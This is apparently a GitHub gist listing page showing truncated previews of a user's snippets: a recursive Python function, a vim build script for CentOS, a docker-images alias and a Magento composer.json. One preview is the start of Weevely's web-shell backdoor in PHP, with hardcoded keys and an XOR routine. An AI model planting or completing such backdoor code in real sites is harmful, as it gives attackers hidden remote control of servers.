Skip to content

Instantly share code, notes, and snippets.

View recursive.py
from functools import lru_cache
def flip(text):
if not text:
return ''
return text[-1] + flip(text[:-1])
def addingUpTo(numbers, idx):
try:
if idx >= 0:
@niloct
niloct / cleartext.php
Created Feb 14, 2020
Weevely's backdoor PHP code, unobfuscated
View cleartext.php
<?php
$k="97bf34d3";$kh="1a8710e6b164";$kf="9fd33357f783";$p="5ZGtAGceuaFv00jx";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l; ){
for($j=0; ($j<$c && $i<$l); $j++,$i++)
{
@niloct
niloct / install_vim.sh
Last active Apr 5, 2021
Bash script for installing latest vim on CentOS 7 with python/python3 (3.7.3) support (besides Perl/Ruby/Lua/Tcl)
View install_vim.sh
#!/bin/bash
####### Vim compilation on CentOS 7 ####################
# (Tested together with official CentOS 7 docker image)
########################################################
BUILD_ESSENTIALS='gcc gcc-c++ make zlib zlib-devel'
NCURSES='ncurses ncurses-devel ncurses-term'
X11='libXpm-devel libXt-devel'
BUILD_PACKAGES="$BUILD_ESSENTIALS $X11 $NCURSES"
@niloct
niloct / .bashrc
Last active Jan 18, 2017
Bash command for sorting `docker images` command by image size ascending.
View .bashrc
alias docker-images-by-size="LC=$LC_NUMERIC && LC_NUMERIC=en_US.UTF-8 && docker images | head -1 && docker images | awk 'NR>2' | sort -k8h -k7n && LC_NUMERIC=$LC"
@niloct
niloct / composer.json
Created Aug 26, 2014
Composer.json para o EcomDev_PHPUnit no Magento
View composer.json
{
"repositories": [
{
"url": "https://github.com/vernard/EcomDev_PHPUnit",
"type": "vcs"
},
{
"url" : "https://github.com/ajbonner/magento-composer-autoload",
"type" : "vcs"
}